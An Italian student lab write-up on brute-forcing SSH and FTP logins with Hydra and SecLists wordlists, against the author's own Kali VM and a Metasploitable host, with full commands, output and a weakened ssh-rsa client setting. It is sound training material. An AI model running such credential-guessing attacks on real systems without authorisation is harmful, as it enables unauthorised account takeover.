

S6L5

Consegna

L'esercizio di oggi richiede di fare pratica con hydra per craccare l'autenticazione dei servizi di rete

REQUISITI

ssh installato e configurato

utente test_user con password testpass

ftp installato e configurato

hydra

seclist

PROCEDURA REQUISITI

Eseguo il comando hydra con -L e -P per usare le liste scaricate con seclist, come ip metto l'ip della mia macchina, 12 thread e protocollo ssh, -V per avere verbose

1. aggiungo utente test_user con pw testpass

```

(kali㉿kali)-[~]
$ sudo adduser test_user
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
    Full Name []:
    Room Number []:
    Work Phone []:
    Home Phone []:
    Other []:
Is the information correct? [Y/n]
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...

(kali㉿kali)-[~]
$

```

2. Avvio ssh

```

(kali㉿kali)-[~]
$ sudo service ssh start

```

3. Cerco il mio ip e poi entro in ssh per verificarne il funzionamento del protocollo ssh

```

(kali㉿kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen
    1000
    link/ether 08:00:27:ad:25:87 brd ff:ff:ff:ff:ff:ff
    inet 192.168.10.2/24 brd 192.168.10.255 scope global noprefixroute eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::89ea:99cd:1b3c:ac1c/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen
    1000
    link/ether 08:00:27:f0:90:41 brd ff:ff:ff:ff:ff:ff

```

```

(kali㉿kali)-[~]
$ ssh test_user@192.168.10.2
The authenticity of host '192.168.10.2 (192.168.10.2)' can't be established.
ED25519 key fingerprint is SHA256:7pvtBrHTBvgCpxk92w4+uXHplC+zAk0XE5sVCR87rcQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.10.2' (ED25519) to the list of known hosts.
test_user@192.168.10.2's password:
Linux kali 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(kali㉿kali)-[~]
$

```

CRACKING SSH

- Eseguo hydra con la seguente sintassi

```

(kali㉿kali)-[~]
$ hydra -l test_user -p testpass 192.168.10.2 -t 4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-17 10:41:55
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ssh://192.168.10.2:22/
[22][ssh] host: 192.168.10.2 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-01-17 10:41:55

```

Hydra funziona correttamente

- Installo seclists

```

(kali㉿kali)-[~]
$ sudo apt install seclists

```

```

(kali@kali)-[~]
$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.10.2 -t 4 ssh -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway)

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-17 15:17:33
[WARNING] Restorefile (you have 10 seconds to abort ... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8295455000000 login tries (l:8295455/p:1000000), ~2073863750000 tries per task
[DATA] attacking ssh://192.168.10.2:22/
[ATTEMPT] target 192.168.10.2 - login "info" - pass "123456" - 1 of 8295455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.10.2 - login "info" - pass "password" - 2 of 8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.10.2 - login "info" - pass "12345678" - 3 of 8295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.10.2 - login "info" - pass "qwerty" - 4 of 8295455000000 [child 3] (0/0)
[ATTEMPT] target 192.168.10.2 - login "info" - pass "123456789" - 5 of 8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.10.2 - login "info" - pass "12345" - 6 of 8295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.10.2 - login "info" - pass "1234" - 7 of 8295455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.10.2 - login "info" - pass "111111" - 8 of 8295455000000 [child 3] (0/0)
[ATTEMPT] target 192.168.10.2 - login "info" - pass "1234567" - 9 of 8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.10.2 - login "info" - pass "dragon" - 10 of 8295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.10.2 - login "info" - pass "123123" - 11 of 8295455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.10.2 - login "info" - pass "baseball" - 12 of 8295455000000 [child 3] (0/0)
[ATTEMPT] target 192.168.10.2 - login "info" - pass "abc123" - 13 of 8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.10.2 - login "info" - pass "football" - 14 of 8295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.10.2 - login "info" - pass "monkey" - 15 of 8295455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.10.2 - login "info" - pass "letmein" - 16 of 8295455000000 [child 3] (0/0)
[ATTEMPT] target 192.168.10.2 - login "info" - pass "696969" - 17 of 8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.10.2 - login "info" - pass "shadow" - 18 of 8295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.10.2 - login "info" - pass "master" - 19 of 8295455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.10.2 - login "info" - pass "666666" - 20 of 8295455000000 [child 3] (0/0)

```

Noto subito che ci sono tantissime combinazioni possibili, ci vorrebbero tanti anni per riuscire ad eseguire fino alla fine un brute force senza imbrogliare. Ai fini di chiarire la spiegazione, opto subito per la **soluzione opzionale**, ovvero mettere in calce le credenziali corrette

```

(kali@kali)-[~]
$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.10.2 -t 12 ssh -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway)

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-17 13:00:17
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort ... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 12 tasks per 1 server, overall 12 tasks, 8295464295456 login tries (l:8295456/p:1000001), ~691288691288 tries per task
[DATA] attacking ssh://192.168.10.2:22/
[ATTEMPT] target 192.168.10.2 - login "test_user" - pass "testpass" - 1 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.10.2 - login "test_user" - pass "123456" - 2 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.10.2 - login "test_user" - pass "password" - 3 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.10.2 - login "test_user" - pass "12345678" - 4 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.10.2 - login "test_user" - pass "qwerty" - 5 of 8295464295456 [child 4] (0/0)
[ATTEMPT] target 192.168.10.2 - login "test_user" - pass "123456789" - 6 of 8295464295456 [child 5] (0/0)
[ATTEMPT] target 192.168.10.2 - login "test_user" - pass "12345" - 7 of 8295464295456 [child 6] (0/0)
[ATTEMPT] target 192.168.10.2 - login "test_user" - pass "1234" - 8 of 8295464295456 [child 7] (0/0)
[ATTEMPT] target 192.168.10.2 - login "test_user" - pass "111111" - 9 of 8295464295456 [child 8] (0/0)
[ATTEMPT] target 192.168.10.2 - login "test_user" - pass "1234567" - 10 of 8295464295456 [child 9] (0/0)
[ATTEMPT] target 192.168.10.2 - login "test_user" - pass "dragon" - 11 of 8295464295456 [child 10] (0/0)
[ATTEMPT] target 192.168.10.2 - login "test_user" - pass "123123" - 12 of 8295464295456 [child 11] (0/0)
[22][ssh] host: 192.168.10.2 login: test_user password: testpass
[ATTEMPT] target 192.168.10.2 - login "info" - pass "testpass" - 1000002 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.10.2 - login "info" - pass "123456" - 1000003 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.10.2 - login "info" - pass "password" - 1000004 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.10.2 - login "info" - pass "12345678" - 1000005 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.10.2 - login "info" - pass "qwerty" - 1000006 of 8295464295456 [child 6] (0/0)

```

Ho un match!

CRACKING FTP

Procedo analogamente al cracking ssh

1. Installo ftp e avvio con i comandi suggeriti

```
sudo apt install vsftpd
sudo service vsftpd start
```

2. Faccio un primo tentativo

```
(kali@kali)~$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.10.2 -t 12 ftp -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-17 13:21:43
[DATA] max 12 tasks per 1 server, overall 12 tasks, 8295473590914 login tries (l:8295457/p:1000002), ~691289465910 tries per task
[DATA] attacking ftp://192.168.10.2:21/
[ATTEMPT] target 192.168.10.2 - login "kali" - pass "kali" - 1 of 8295473590914 [child 0] (0/0)
[ATTEMPT] target 192.168.10.2 - login "kali" - pass "testpass" - 2 of 8295473590914 [child 1] (0/0)
[ATTEMPT] target 192.168.10.2 - login "kali" - pass "123456" - 3 of 8295473590914 [child 2] (0/0)
[ATTEMPT] target 192.168.10.2 - login "kali" - pass "password" - 4 of 8295473590914 [child 3] (0/0)
[ATTEMPT] target 192.168.10.2 - login "kali" - pass "12345678" - 5 of 8295473590914 [child 4] (0/0)
[ATTEMPT] target 192.168.10.2 - login "kali" - pass "qwerty" - 6 of 8295473590914 [child 5] (0/0)
[ATTEMPT] target 192.168.10.2 - login "kali" - pass "123456789" - 7 of 8295473590914 [child 6] (0/0)
[ATTEMPT] target 192.168.10.2 - login "kali" - pass "12345" - 8 of 8295473590914 [child 7] (0/0)
[ATTEMPT] target 192.168.10.2 - login "kali" - pass "1234" - 9 of 8295473590914 [child 8] (0/0)
[ATTEMPT] target 192.168.10.2 - login "kali" - pass "111111" - 10 of 8295473590914 [child 9] (0/0)
[ATTEMPT] target 192.168.10.2 - login "kali" - pass "1234567" - 11 of 8295473590914 [child 10] (0/0)
[ATTEMPT] target 192.168.10.2 - login "kali" - pass "dragon" - 12 of 8295473590914 [child 11] (0/0)
```

3. Sarà necessario attivare il listen ftp

```
#
# Run standalone? vsftpd can
# daemon started from an init
listen=YES
#
# This directive enables list
# on the IPv6 "any" address
# and IPv4 clients. It is not
# sockets. If you want that
# addresses) then you must re
# files.
listen_ipv6=NO
#
# Allow anonymous FTP? (Disal
anonymous_enable=NO
#
```

4. Usando la lista e aggiungendo in calce kali - kali e test_user - testpass, le credenziali funzionano e viene trovato un match

```

(kali@kali)-[~]
$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Pas
swords/xato-net-10-million-passwords-1000000.txt 127.0.0.1 -t 4 ftp -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret servi
e organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway
.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-17 14:39:00
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous
session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8295473590914 login tries (l:8295457/p:1000002), ~20
3868397729 tries per task
[DATA] attacking ftp://127.0.0.1:21/
[ATTEMPT] target 127.0.0.1 - login "kali" - pass "kali" - 1 of 8295473590914 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "kali" - pass "testpass" - 2 of 8295473590914 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "kali" - pass "123456" - 3 of 8295473590914 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "kali" - pass "password" - 4 of 8295473590914 [child 3] (0/0)
[21][ftp] host: 127.0.0.1 login: kali password: kali
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "kali" - 1000003 of 8295473590914 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "testpass" - 1000004 of 8295473590914 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "123456" - 1000005 of 8295473590914 [child 3] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "password" - 1000006 of 8295473590914 [child 1] (0/0)
[21][ftp] host: 127.0.0.1 login: test_user password: testpass
[ATTEMPT] target 127.0.0.1 - login "info" - pass "kali" - 2000005 of 8295473590914 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "testpass" - 2000006 of 8295473590914 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "123456" - 2000007 of 8295473590914 [child 3] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "password" - 2000008 of 8295473590914 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "12345678" - 2000009 of 8295473590914 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "qwerty" - 2000010 of 8295473590914 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "123456789" - 2000011 of 8295473590914 [child 3] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "12345" - 2000012 of 8295473590914 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "1234" - 2000013 of 8295473590914 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "111111" - 2000014 of 8295473590914 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "1234567" - 2000015 of 8295473590914 [child 3] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "dragon" - 2000016 of 8295473590914 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "123123" - 2000017 of 8295473590914 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "baseball" - 2000018 of 8295473590914 [child 0] (0/0)

```

OPZIONALE

Una soluzione è imbrogliare per mettere le password in calce alla lista e ottenere un riscontro subito

BONUS

Attaccare ssh anche su metasploitable. Potrebbe esserci un problema, da risolvere

Configurazione:

Accendo pfsense e metasploitable, li configuro tutti su rete interna.

Pingo Metasploitable


```
(kali㉿kali)-[~]
$ ping 192.168.20.2
PING 192.168.20.2 (192.168.20.2) 56(84) bytes of data.
64 bytes from 192.168.20.2: icmp_seq=19 ttl=63 time=12.4 ms
64 bytes from 192.168.20.2: icmp_seq=20 ttl=63 time=6.68 ms
64 bytes from 192.168.20.2: icmp_seq=21 ttl=63 time=7.98 ms
64 bytes from 192.168.20.2: icmp_seq=22 ttl=63 time=5.76 ms
^C
— 192.168.20.2 ping statistics —
22 packets transmitted, 4 received, 81.8182% packet loss, time 21454ms
rtt min/avg/max/mdev = 5.761/8.198/12.373/2.536 ms
```

Provo a collegarmi con ssh per vedere se la configurazione è corretta.

```
(kali㉿kali)-[~]
$ ssh msfadmin@192.168.20.2
Unable to negotiate with 192.168.20.2 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
```

```
(kali㉿kali)-[~]
$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.20.2 -t 4 ssh -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway)

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-17 15:34:15
[WARNING] Restorefile (you have 10 seconds to abort ... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8295455000000 login tries (l:8295455/p:1000000), ~2073863750000 tries per task
[DATA] attacking ssh://192.168.20.2:22/
[ERROR] could not connect to ssh://192.168.20.2:22 - kex error : no match for method mac algo client→server: server [hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96], client [hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512]
```

Non funziona nè ssh nè hydra. Vado a toccare il file di configurazione ssh dentro /etc/ssh/ssh_config

```
(kali㉿kali)-[~]
$ sudo nano /etc/ssh/ssh_config
```

```
GNU nano 8.3 /etc/ssh/ssh_config *
Include /etc/ssh/ssh_config.d/*.conf

Host *
# ForwardAgent no
# ForwardX11 no
# ForwardX11Trusted yes
# PasswordAuthentication yes
# HostbasedAuthentication no
# GSSAPIAuthentication no
# GSSAPIDelegateCredentials no
# GSSAPIKeyExchange no
# GSSAPITrustDNS no
# BatchMode no
# CheckHostIP no
# AddressFamily any
# ConnectTimeout 0
# StrictHostKeyChecking ask
# IdentityFile ~/.ssh/id_rsa
# IdentityFile ~/.ssh/id_dsa
# IdentityFile ~/.ssh/id_ecdsa
# IdentityFile ~/.ssh/id_ed25519
# Port 22
# Ciphers aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc
# MACs hmac-md5,hmac-sha1,umac-64@openssh.com
# EscapeChar ~
# Tunnel no
# TunnelDevice any:any
# PermitLocalCommand no
# VisualHostKey no
# ProxyCommand ssh -q -W %h:%p gateway.example.com
# RekeyLimit 1G 1h
# UserKnownHostsFile ~/.ssh/known_hosts.d/%k
SendEnv LANG LC_*
HashKnownHosts yes
GSSAPIAuthentication yes

Host 192.168.20.2
HostKeyAlgorithms +ssh-rsa
PubkeyAcceptedKeyTypes +ssh-rsa
```

Aggiungo un'eccezione per algoritmo chiavi e accettazione di chiavi +ssh-rsa, che ormai è deprecato perché non è più sicuro

Ora riprovo con Hydra, funziona correttamente


```

(kali@kali)-[~]
$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.20.2 -t 4 ssh -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway)
.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-17 15:36:49
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8295455000000 login tries (l:8295455/p:1000000), ~2073863750000 tries per task
[DATA] attacking ssh://192.168.20.2:22/
[ATTEMPT] target 192.168.20.2 - login "info" - pass "123456" - 1 of 8295455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.20.2 - login "info" - pass "password" - 2 of 8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.20.2 - login "info" - pass "12345678" - 3 of 8295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.20.2 - login "info" - pass "qwerty" - 4 of 8295455000000 [child 3] (0/0)
[ATTEMPT] target 192.168.20.2 - login "info" - pass "123456789" - 5 of 8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.20.2 - login "info" - pass "12345" - 6 of 8295455000000 [child 3] (0/0)
[ATTEMPT] target 192.168.20.2 - login "info" - pass "1234" - 7 of 8295455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.20.2 - login "info" - pass "111111" - 8 of 8295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.20.2 - login "info" - pass "1234567" - 9 of 8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.20.2 - login "info" - pass "dragon" - 10 of 8295455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.20.2 - login "info" - pass "123123" - 11 of 8295455000000 [child 3] (0/0)
[ATTEMPT] target 192.168.20.2 - login "info" - pass "baseball" - 12 of 8295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.20.2 - login "info" - pass "abc123" - 13 of 8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.20.2 - login "info" - pass "football" - 14 of 8295455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.20.2 - login "info" - pass "monkey" - 15 of 8295455000000 [child 3] (0/0)

```

La scansione hydra funziona correttamente, ora aggiungo le credenziali in calce alla lista e riprovo

```

(kali@kali)-[~]
$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.20.2 -t 4 ssh -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway)
.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-17 15:48:21
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8295464295456 login tries (l:8295456/p:1000001), ~2073866073864 tries per task
[DATA] attacking ssh://192.168.20.2:22/
[ATTEMPT] target 192.168.20.2 - login "msfadmin" - pass "msfadmin" - 1 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.20.2 - login "msfadmin" - pass "123456" - 2 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.20.2 - login "msfadmin" - pass "password" - 3 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.20.2 - login "msfadmin" - pass "12345678" - 4 of 8295464295456 [child 3] (0/0)
[22][ssh] host: 192.168.20.2 login: msfadmin password: msfadmin
[ATTEMPT] target 192.168.20.2 - login "info" - pass "msfadmin" - 1000002 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.20.2 - login "info" - pass "123456" - 1000003 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.20.2 - login "info" - pass "password" - 1000004 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.20.2 - login "info" - pass "12345678" - 1000005 of 8295464295456 [child 2] (0/0)

```

Ho un match